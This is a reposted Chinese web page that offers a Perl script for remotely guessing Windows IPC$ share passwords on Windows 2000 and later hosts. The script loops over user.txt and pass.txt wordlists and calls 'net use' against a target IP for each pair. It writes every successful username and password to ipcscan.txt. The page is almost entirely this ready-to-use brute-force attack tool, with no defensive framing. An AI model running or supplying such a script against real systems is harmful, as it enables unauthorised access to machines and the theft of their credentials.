• 设为首页
  • 点击收藏
  • 手机版
    手机扫一扫访问
    迪恩网络手机版
  • 关注官方公众号
    微信扫一扫关注
    公众号

用perl调用系统命令来实现IPC$远程猜解(Reship)

原作者: [db:作者] 来自: [db:来源] 收藏 邀请

用perl调用系统命令来实现IPC$远程猜解

用perl调用系统命令来实现IPC$远程猜解,适合win2k以上的系统。

#usr/bin/perl -w

print "请输入要猜解的IP:";
$host=<STDIN>;
chop($host);
$file1="NT_USER";
$file2="NT_PASS";
open(FILE,"user.txt")||die "$file1文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@user=<FILE>){
foreach $name(@user){
 chomp($name);
open(FILE,"pass.txt")||die "$file2文件是不是你搞丢了啊?自己重写一个吧\n" ;
while(@pass=<FILE>){
foreach $password(@pass){
chop($password);
print ("正在尝试   Name=$name    Pass=$password    "); #从这里往上不要我解释了吧
print "net use \\$host\ipc$ $password /user:$name";
$check=`"net use \\$host\ipc$ $password /user:$name"`; #调用perl函数,执行系统命令
if($check) { #判断连接是否成功
print "--------连接成功!!\n";
system ("net use \\$host\ipc$ /del"); #成功连接后就删除连接,并打开文件写入
open (H,">>ipcscan.txt")||die "打不开ipcscan.txt\n";
print H "主机$host  用户名:$name 密码:$password \n";
close H;
}
print "\n";
}
}
}
}
print "结果已写入ipcscan.txt文件请查看\n";


鲜花

握手

雷人

路过

鸡蛋
该文章已有0人参与评论

请发表评论

全部评论

专题导读
上一篇:
Perl/Nagios–Can’tlocateutils.pmin@INC发布时间:2022-07-22
下一篇:
Perl在线教程(1——9课)发布时间:2022-07-22
热门推荐
热门话题
阅读排行榜

扫描微信二维码

查看手机版网站

随时了解更新最新资讯

139-2527-9053

在线客服(服务时间 9:00~18:00)

在线QQ客服
地址:深圳市南山区西丽大学城创智工业园
电邮:jeky_zhao#qq.com
移动电话:139-2527-9053

Powered by 互联科技 X3.4© 2001-2213 极客世界.|Sitemap